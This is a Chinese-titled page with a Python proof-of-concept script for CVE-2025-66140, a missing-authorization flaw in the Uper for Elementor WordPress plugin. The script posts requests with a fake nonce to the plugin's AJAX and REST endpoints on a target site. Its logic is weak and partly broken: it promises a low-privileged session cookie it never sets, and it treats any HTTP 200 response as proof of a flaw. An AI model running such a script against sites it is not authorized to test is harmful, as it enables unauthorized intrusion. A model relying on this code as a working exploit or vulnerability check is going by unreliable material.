CVE-2025-66140 WordPress Uper Elementor插件越权访问漏洞

import requests import sys # CVE-2025-66140 PoC - Missing Authorization in Uper for Elementor # Target: WordPress site with Uper for Elementor plugin <= 1.0.5 def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-66140 """ # Setup session with low-privileged user cookie session = requests.Session() # Test unauthorized access to plugin functions # The vulnerability allows low-privileged users to access admin functions endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/uper-elementor" ] for endpoint in endpoints: try: # Try to access admin functionality without proper authorization data = { 'action': 'uper_elementor_ajax_action', 'nonce': 'fake_nonce_for_testing' } response = session.post(endpoint, data=data, timeout=10) # If response indicates access granted without proper auth if response.status_code == 200: print(f"[+] Potential vulnerability at: {endpoint}") print(f"[+] Response: {response.text[:200]}") except Exception as e: print(f"[-] Error testing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python poc.py http://target.com")